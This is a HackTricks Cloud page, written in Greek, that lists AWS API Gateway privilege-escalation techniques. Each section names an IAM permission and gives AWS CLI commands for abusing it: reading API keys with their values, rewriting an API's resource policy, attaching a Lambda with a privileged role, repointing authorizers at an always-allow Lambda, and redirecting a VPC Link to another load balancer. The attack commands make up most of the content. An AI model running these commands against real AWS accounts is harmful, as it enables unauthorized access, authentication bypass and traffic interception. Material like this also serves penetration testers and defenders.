AWS - Apigateway Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Apigateway
Για περισσότερες πληροφορίες δείτε:
apigateway:POST
Με αυτή την άδεια μπορείτε να δημιουργήσετε API keys των APIs που έχουν ρυθμιστεί (ανά region).
aws --region <region> apigateway create-api-key
Πιθανός Αντίκτυπος: Δεν μπορείτε να privesc με αυτήν την τεχνική αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.
apigateway:GET
Με αυτήν την άδεια μπορείτε να αποκτήσετε τα generated API keys των APIs που έχουν διαμορφωθεί (per region).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Πιθανός Αντίκτυπος: Δεν μπορείτε να αποκτήσετε privesc με αυτήν την τεχνική αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Με αυτά τα δικαιώματα είναι δυνατό να τροποποιήσετε την πολιτική πόρου ενός API ώστε να δώσετε στον εαυτό σας πρόσβαση να το καλέσετε και να καταχραστείτε τυχόν πρόσβαση που μπορεί να έχει το API gateway (π.χ. να καλέσετε ένα ευπαθές lambda).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Πιθανός Αντίκτυπος: Συνήθως δεν θα μπορείτε να κάνετε privesc άμεσα με αυτήν την τεχνική, αλλά μπορεί να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
Απαιτείται δοκιμή
Ένας επιτιθέμενος με τα δικαιώματα apigateway:PutIntegration, apigateway:CreateDeployment και iam:PassRole μπορεί να προσθέσει μια νέα ενσωμάτωση σε ένα υπάρχον API Gateway REST API με μια Lambda function που έχει προσαρτημένο IAM role. Ο επιτιθέμενος μπορεί έπειτα να προκαλέσει την εκτέλεση της Lambda function για να εκτελεστεί αυθαίρετος κώδικας και ενδεχομένως να αποκτήσει πρόσβαση στους πόρους που σχετίζονται με το IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Πιθανός Αντίκτυπος: Πρόσβαση σε πόρους που συνδέονται με τον IAM ρόλο της λειτουργίας Lambda.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
Απαιτείται δοκιμή
Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateAuthorizer και apigateway:CreateDeployment μπορεί να τροποποιήσει έναν υπάρχοντα authorizer του API Gateway ώστε να παρακάμψει τους ελέγχους ασφάλειας (π.χ. να τον ανακατευθύνει σε ένα Lambda που πάντα επιστρέφει “allow”) ή να εκτελέσει αυθαίρετο κώδικα όταν γίνονται αιτήματα στο API.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Πιθανός αντίκτυπος: Παράκαμψη ελέγχων ασφαλείας, μη εξουσιοδοτημένη πρόσβαση σε πόρους API.
HTTP APIs / apigatewayv2 παραλλαγή
Για τα HTTP APIs (API Gateway v2), η αντίστοιχη λειτουργία είναι η ενημέρωση του authorizer μέσω apigatewayv2:
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
Χρειάζεται δοκιμή
Ένας επιτιθέμενος με την άδεια apigateway:UpdateVpcLink μπορεί να τροποποιήσει ένα υπάρχον VPC Link ώστε να δείχνει σε διαφορετικό Network Load Balancer, ενδεχομένως ανακατευθύνοντας την ιδιωτική κυκλοφορία API σε μη εξουσιοδοτημένους ή κακόβουλους πόρους.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Πιθανός αντίκτυπος: Μη εξουσιοδοτημένη πρόσβαση σε ιδιωτικούς πόρους API, υποκλοπή ή διακοπή της κυκλοφορίας API.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

